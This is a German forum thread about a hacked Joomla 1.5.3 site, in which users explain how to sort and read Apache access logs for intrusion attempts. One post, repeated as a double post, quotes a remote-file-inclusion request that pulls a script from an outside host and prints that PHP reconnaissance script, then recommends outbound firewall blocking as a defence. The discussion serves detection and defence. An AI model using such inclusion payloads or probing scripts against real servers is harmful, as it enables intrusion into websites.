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Thema: Joomla! 1.5.3 gehackt

  1. #11
    Ex-Über-Mod Avatar von rico
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    Zitat Zitat von Joe Sixpack Beitrag anzeigen
    wenn man Komponenten, Plugins etc installiert hat, die evt nicht sicher sind, diese jedoch nicht aktiviert hat, sind diese dann immer noch ein Sicherheitsrisiko?
    Ich würde @flotte zustimmmen und das ebenfalls mit Ja beantworten.

    Grund aus meiner Sicht: Die unsicheren Komponenten sind nicht deshalb unsicher weil sie aktiviert sind oder nicht, sondern weil sie in den Scripten Schwachstellen haben. Diese Schwachstellen werden per Robot mit entsprechend manipulierten Variablen systematisch ausgetestet und, so die Dateien noch auf dem Server liegen, manipuliert.

    MFG. Ricola
    Kleines Tutorial zum Objektorientierten Programmieren mit PHP

  2. #12
    Hat hier eine Zweitwohnung
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    Zitat Zitat von norbu Beitrag anzeigen
    Im Moment habe ich mit OpenOffice geöffnet, aber das ist leider nicht übersichtlich.
    Ich nutze neben Excel auch OpenOffice.org, und das geht damit auch recht einfach. Die LOG-Files müssen natürlich als CVS oder .TXT vorliegen. Dazu habe ich sie einfach in einen Texteditor geladen und als .txt Datei abgespeichert.
    Den Calc öffnen - Einfügen -> Tabelle aus Datei
    Dann in der Checkliste _ Getrennt und dann ausprobieren, womit die LOG-Files getrennt wurden, bei mir sind es Komma und Leerzeichen, dann siehst Du schon, wie die Spalten später aussehen werden.
    Wenn die Datei zu groß ist, dann musst Du sie vorher teilen.

    Nach dem Laden der Datei, kannst Du dann einen Filter setzen -> Daten -> Filter ->AutoFilter setzen
    So kannst Du die einzelnen Spalten durchsuchen.
    Ich habe auch andere Programme, aber die werten mir viel zu viel aus und sind für mich umständlicher.
    Mit Excel geht das fast genauso.
    Viele Grüße
    Petra

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  4. #13
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    Danke,
    ich habe jetzt mit dem Editor ConTEXT alles sauber lesbar untereinander. Aber nach welchen Kriterien muss ich suchen? Wie sieht es aus, wenn einer ein Script reinschmuggelt? Ich konnte bis jetzt nichts Verdächtiges erkennen.
    Gruß, Norbert

  5. #14
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    Standard Log auswerten

    Hallo,
    ich msuute kürzlich einen Log im Forum auswerten, weil ein Mitglied einer geschlossenen Gruppe die Daten weitergegeben hatte.

    Nachfolgend eine Zeile aus meinem Log:
    -------------------------------------
    92.74.203.218 - - [18/Jun/2008:15:15:35 -0400] "POST /forum/ucp.php?mode=login HTTP/1.1" 200 8191 "http://x.vistafaro.com/forum/ucp.php?mode=login" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14"
    ------------------------------------------

    Ich habe den gesamzen Log in SuperEdi geladen (Freeware http://www.wolosoft.com/de/superedi/) und mir einmal Angesehen, wie ich den String teilen könnte. Dann kann man in einer Excel-Tabelle die Daten nach verschiedensten Kriterien (Datum, IP, Aktion, url) sortieren und unverdächtiges löschen, damit es übersichtlicher wird. Als Trennzeichen hab ich mich für '@' entschieden, weil das im Log nicht vorkommt

    1. Aktion ersetze ' - - ' durch '@' - IP und Datum werden getrennt
    2. Aktion ersetze '] "' durch']@"' - Datum und Aktion erden getrennt
    3. Aktion ersetze ' "http:' durch '@"http:' - Aktion und url werden getrennt

    vielleicht hilft Dir das, um Deinen Log, den ich natürlich im Aufbau nicht kenne, auf ähnliche Weise zu bearbeiten.

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  7. #15
    Kommt häufiger vorbei Avatar von felfert
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    Zitat Zitat von norbu Beitrag anzeigen
    Danke,
    ich habe jetzt mit dem Editor ConTEXT alles sauber lesbar untereinander. Aber nach welchen Kriterien muss ich suchen? Wie sieht es aus, wenn einer ein Script reinschmuggelt? Ich konnte bis jetzt nichts Verdächtiges erkennen.
    Gruß, Norbert
    Um effizient nach hackversuchen zu suchen, solltest Du zuerst aus dem Log die Spalte mit dem Referrer enfernen (weil da sehr oft die Zeichenkette http:// drin vorkommt). Eine typische Log-Zeile von einem Hack-Versuch (apache combined style) sieht so aus:
    Code:
    213.35.225.138 - - [22/Jun/2008:05:26:45 +0200] "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1" 200 10930 "-" "libwww-perl/5.805"
    Das log kann man in mehrere Spalten aufteilen (Fehlende Information ist dort normalerweise durch ein einzelnes Minus (-) repräsentiert":
    1. IP-Adresse: Im Beispiel oben: 213.35.225.138
    2. User-ID: Im Beispiel oben: -
    3. Username: Im Beispiel oben: -
    4. Zeitstempel: Im Beispiel oben: [22/Jun/2008:05:26:45 +0200]
    5. Request: Im Beispiel oben: "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1"
    6. Result-Code: Im Beispiel oben 200 (OK)
    7. Bytecount der Response: Im Beispiel oben: 10930
    8. Referrer: Im Beispiel oben: "-"
    9. User-Agent: Im Beispiel oben: "libwww-perl/5.805"
    Die interessante Stelle ist hier immer der Request. Im Beispiel wird versucht, über die CGI-Variable mosConfig_absolute_path ein hack-script von chucksden.com (ein schon vorab gehackter Server) nachzuladen, welches dann die 2. Stufe eines Angriffs ausführen soll. Genau dort musst Du ansetzen: Alle Requests, in denen "http://" oder "ftp://" vorkommt sollten erst mal näher unter die Lupe genommen werden. Man kann aber nicht einfach nur nach http:// oder ftp:// suchen, weil diese Zeichenkette sehr oft auch im Referrer vorkommt. Idealerweise entfernt man die Spalte "Referrer" also vor der Suche. Wenn man sich das Script unter der obigen Adresse manuell zieht, sieht man hier dann z.B. folgendes:
    Code:
    <?
    echo "Dosha<br>";
    $alb = @php_uname();
    $alb2 = system(uptime);
    $alb3 = system(id);
    $alb4 = @getcwd();
    $alb5 = getenv("SERVER_SOFTWARE");
    $alb6 = phpversion();
    $alb7 = $_SERVER['SERVER_NAME'];
    $alb8 = gethostbyname($SERVER_ADDR);
    $alb9 = get_current_user();
    $os = @PHP_OS;
    echo "os: $os<br>";
    echo "uname -a: $alb<br>";
    echo "uptime: $alb2<br>";
    echo "id: $alb3<br>";
    echo "pwd: $alb4<br>";
    echo "user: $alb9<br>";
    echo "phpv: $alb6<br>";
    echo "SoftWare: $alb5<br>";
    echo "ServerName: $alb7<br>";
    echo "ServerAddr: $alb8<br>";
    echo "Dosha ONLINE<br>";
    exit;
    ?>
    Im Beispiel handelt es sich also um den zunächst noch recht "harmlosen" Versuch, erst mal genauere Infos über das angegriffene System rauszubekommen, um anhand dessen zu entscheiden ob - und wenn ja mit welchen Tools - man den Angriff fortsetzen kann.
    Dass im vorliegenden Fall als User-Agent "libwww-perl/5.805" verwendet wurde, läßt darauf schliessen, dass der Angreifer wohl irgendein Script-Kiddie ohne grosartiges KnowHow war. Richtige Angreifer setzen hier natürlich die Signatur von IE oder FF ein.

    Hoffe, das gibt Dir ein paar Anhaltspunkte
    -Fritz
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  9. #16
    Kommt häufiger vorbei Avatar von felfert
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    Zitat Zitat von felfert Beitrag anzeigen
    Um effizient nach hackversuchen zu suchen, solltest Du zuerst aus dem Log die Spalte mit dem Referrer enfernen (weil da sehr oft die Zeichenkette http:// drin vorkommt). Eine typische Log-Zeile von einem Hack-Versuch (apache combined style) sieht so aus:
    Code:
    213.35.225.138 - - [22/Jun/2008:05:26:45 +0200] "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1" 200 10930 "-" "libwww-perl/5.805"
    Das log kann man in mehrere Spalten aufteilen (Fehlende Information ist dort normalerweise durch ein einzelnes Minus (-) repräsentiert":
    1. IP-Adresse: Im Beispiel oben: 213.35.225.138
    2. User-ID: Im Beispiel oben: -
    3. Username: Im Beispiel oben: -
    4. Zeitstempel: Im Beispiel oben: [22/Jun/2008:05:26:45 +0200]
    5. Request: Im Beispiel oben: "GET /documentation/documentation-es-es.html?start=1/administrator/index3.php?mosConfig_absolute_path=http://chucksden.com/echo.txt? HTTP/1.1"
    6. Result-Code: Im Beispiel oben 200 (OK)
    7. Bytecount der Response: Im Beispiel oben: 10930
    8. Referrer: Im Beispiel oben: "-"
    9. User-Agent: Im Beispiel oben: "libwww-perl/5.805"
    Die interessante Stelle ist hier immer der Request. Im Beispiel wird versucht, über die CGI-Variable mosConfig_absolute_path ein hack-script von chucksden.com (ein schon vorab gehackter Server) nachzuladen, welches dann die 2. Stufe eines Angriffs ausführen soll. Genau dort musst Du ansetzen: Alle Requests, in denen "http://" oder "ftp://" vorkommt sollten erst mal näher unter die Lupe genommen werden. Man kann aber nicht einfach nur nach http:// oder ftp:// suchen, weil diese Zeichenkette sehr oft auch im Referrer vorkommt. Idealerweise entfernt man die Spalte "Referrer" also vor der Suche. Wenn man sich das Script unter der obigen Adresse manuell zieht, sieht man hier dann z.B. folgendes:
    Code:
    <?
    echo "Dosha<br>";
    $alb = @php_uname();
    $alb2 = system(uptime);
    $alb3 = system(id);
    $alb4 = @getcwd();
    $alb5 = getenv("SERVER_SOFTWARE");
    $alb6 = phpversion();
    $alb7 = $_SERVER['SERVER_NAME'];
    $alb8 = gethostbyname($SERVER_ADDR);
    $alb9 = get_current_user();
    $os = @PHP_OS;
    echo "os: $os<br>";
    echo "uname -a: $alb<br>";
    echo "uptime: $alb2<br>";
    echo "id: $alb3<br>";
    echo "pwd: $alb4<br>";
    echo "user: $alb9<br>";
    echo "phpv: $alb6<br>";
    echo "SoftWare: $alb5<br>";
    echo "ServerName: $alb7<br>";
    echo "ServerAddr: $alb8<br>";
    echo "Dosha ONLINE<br>";
    exit;
    ?>
    Im Beispiel handelt es sich also um den zunächst noch recht "harmlosen" Versuch, erst mal genauere Infos über das angegriffene System rauszubekommen, um anhand dessen zu entscheiden ob - und wenn ja mit welchen Tools - man den Angriff fortsetzen kann.
    Dass im vorliegenden Fall als User-Agent "libwww-perl/5.805" verwendet wurde, läßt darauf schliessen, dass der Angreifer wohl irgendein Script-Kiddie ohne grosartiges KnowHow war. Richtige Angreifer setzen hier natürlich die Signatur von IE oder FF ein.

    Hoffe, das gibt Dir ein paar Anhaltspunkte
    -Fritz
    Edit:
    Aus obiger Vorgehensweise des Angreifers ergibts sich übrigens auch gleich der ideale Ansatzpunkt, so etwas zu unterbinden: Bei 99.9% aller Angriffe wird es versucht, den Webserver dazu zu bringen, etwas von einem anderen Host nachzuladen. Genau dies kann man mit einer Firewall verhindern, in dem man ausgehende Verbindungen (vom Webserver aus gesehen) auf den gängigen ports blockt. Bei solch einem Blocking kann es dann zwar immer noch passieren, das der GET request auf eine unsichere Komponente im PHP stösst und der Server den Versuch macht, das Script nachzuladen. Letzteres geht aber dann schief und der Angriff geht somit den Bach runter. Es gibt einige Komponenten, die solche externen Zugriffe jedoch für die Funktion brauchen: Wer z.B. fremde RSS-Feeds sammelt oder Game-Server abfragen möchte, muss dann natürlich für die - meist sowieso im Vorfeld bekannten - Remote-IP's halt Ausnahmeregeln anlegen.

    Edit2: Whoops, das war ein Doppelpost statt Edit .... Sorry.
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  10. #17
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    Daumen hoch Logs auswerten

    Hallo norbu

    Zitat Zitat von norbu Beitrag anzeigen
    Vielen Dank Uwe,

    ich habe die Logs vom Hoster auf den Rechner geladen.
    Gibt es Programme zur einfachen Auswertung der Dateien, am besten freeware? Nach was muß ich suchen, bzw. welche Vorgänge sind als verdächtig einzustufen?
    Im Moment habe ich mit OpenOffice geöffnet, aber das ist leider nicht übersichtlich.

    Gruß, Norbert

    Ich hatte mir diese Frage vor einiger Zeit auch gestellt und habe einfach mal gegoogelt. Folgende interessante Programme hatte ich gefunden. Allerdings habe ich keines davon getestet. Schau dir sie mal an, ein Feedback wäre allerdings super.
    http://awstats.sourceforge.net/
    http://www.heise.de/software/download/webalizer/2038
    Gruß Pesto

    Wissen ist Macht, wees nix macht nix!

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